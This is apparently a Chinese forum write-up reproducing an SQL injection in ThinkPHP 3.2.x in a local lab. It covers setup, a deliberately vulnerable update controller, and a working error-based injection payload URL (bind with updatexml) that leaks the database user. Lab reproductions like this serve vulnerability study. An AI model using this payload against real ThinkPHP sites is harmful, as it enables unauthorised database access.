简介
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
环境搭建
漏洞影响的Thinkphp版本:Thinkphp 3.2.x
漏洞复现环境:Phpstudy+Thinkphp 3.2.3
漏洞复现
PHPstudy:Apache+php7.1+MySQL
首先建立一个数据库名为:thinkphp
建立一个表名为:user并添加两个字段:name,pass
在ThinkPHP\Conf\convention.php配置好MySQL帐号密码
将’SHOW_ERROR_MSG’ => true,用来打印sql语句
新建文件及文件夹,在thinkphp/Application/Home/Controller/IndexController.class.php 在里面写一个简单的update的例子:
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
public function index()
{
$tj['name'] = I('name');
$data['pass'] = '111111';
$res = M("user")->where($tj)->save($data);
}
}
因为我们仅仅执行基本的CURD操作,所以用M方法来实例化数据库对象就行了
http://127.0.0.1/thinkphp/index.php?name[0]=bind&name[1]=0 and updatexml(2,concat(0x7e,user()),0)
请登录后查看回复内容